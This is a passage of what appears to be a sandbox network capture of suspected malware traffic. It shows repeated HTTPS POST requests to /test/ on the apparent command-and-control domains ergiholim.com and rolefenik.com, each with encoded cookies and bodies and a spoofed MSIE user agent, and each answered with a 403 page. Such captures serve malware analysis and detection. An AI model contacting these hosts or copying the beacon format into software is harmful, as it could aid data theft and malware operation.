2024-11-13 17:23:06 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	50054	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:07 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:07 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:08 UTC	744	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xtKpxvxrnx3yBfmjwSLQcAOLxc520cXHDYngWBt5NM8LaldTRbJXWrV5v1aRMWaaSCtHfBaAzZuSm96b9RnA3aJAfsNAANF1wMeBmdJHB5oxnbKRrI%2BUYWPnjNwYfPet"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072a68da0d788-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=137469&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=21056&cwnd=32&unsent_bytes=0&cid=d54b3113894ee5f0&ts=550&x=0"
2024-11-13 17:23:08 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	50055	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:09 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:09 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:09 UTC	745	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=acQqXazriKixtSRErgKXYHINiJgj84YMNHGkGFYHNJungNXei4EnEFzpSwIR6R9bTvyCoqoNNLXd6yE5eyqtlX%2FZLhwz0vrnKs%2Fu4ktygz8gWlbcfdc03yaxksnNVAqU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072adfc01c9ad-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=34535&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=83883&cwnd=32&unsent_bytes=0&cid=32c78d7787abab5b&ts=276&x=0"
2024-11-13 17:23:09 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	50056	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:10 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:10 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:10 UTC	752	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V%2FKxvvLq0z1pnKTbamai0hYAGNMx2URWKEW5LmRezYKImECxHMNyTXb%2BB7J5%2FwFx7Z%2BvzLkSNPhL6hdfM1xfIx32dWXoe8fUu%2B6vaIdT5yxgT0LifnIojDNCJ6TWAVG1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072b5dff8aff3-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=144356&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=17493&cwnd=32&unsent_bytes=0&cid=bfb7b3b6bc45a5b3&ts=626&x=0"
2024-11-13 17:23:10 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	50057	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:11 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:11 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:11 UTC	755	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cSCNW9txY29WhwKOJ0uSgGvWJ82zsiHsaSjWWDbeypUyYa2%2BiH70zzO%2F5AepQLci1s0SefYitC1PmzpjdhZ%2FpGeI7FuZYk8nPMmyYjOlEAgA57hRE%2Fy1G5%2FJGW%2FpXiQa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072bd1d646c80-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1962&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=1483606&cwnd=251&unsent_bytes=0&cid=06bcf1c192d78d40&ts=406&x=0"
2024-11-13 17:23:11 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	50058	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:12 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:12 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:13 UTC	748	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Io%2BxfrBrKy5I6J13uaLBQm%2BZUKBKUvKw6vD9nuvhChW5CL5yklHSuzH9yp9TFAK6jlgSxabaGu8UqoVDwuEwkkHDA%2B1F52oPI3aGtto9EcywPZVHn1us0KwRNRRBf5sL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072c58a6ce387-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=141013&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=20577&cwnd=32&unsent_bytes=0&cid=d270895326dc000b&ts=818&x=0"
2024-11-13 17:23:13 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	50059	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:14 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:14 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:15 UTC	756	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vwx71jEP%2Bnq%2BzAbVTEnchr4c5SrwZxAw8ImT1K%2F2YBZIPGr5DO%2BfForNYG%2BwHrqfLEgJJXsuWuBO%2FSZMeFXbuAUXzGXXIeuVQhZXe%2BrGq2rsJ2idB0eaTQrz058HNyCo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072d1bb3bd79c-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=141215&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=20516&cwnd=32&unsent_bytes=0&cid=65f56815b85c26a3&ts=708&x=0"
2024-11-13 17:23:15 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	50061	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:16 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:16 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:16 UTC	752	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:16 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BWgU9G4AQi5q94uNvw%2B4XK6ZJcqBKf1jI4j0AkqRA%2BXM8l1rM8ac7lpNzGhbJ91oSf2QcVmjN98KNw4OqeqT%2Fejp%2FTwQfdyoseRUwndK2eyUd7c5GArcFIjQfSpgcpcG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2072daeebfe37e-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=167898&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=17512&cwnd=32&unsent_bytes=0&cid=e31ee755400a3862&ts=596&x=0"
2024-11-13 17:23:16 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	50062	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
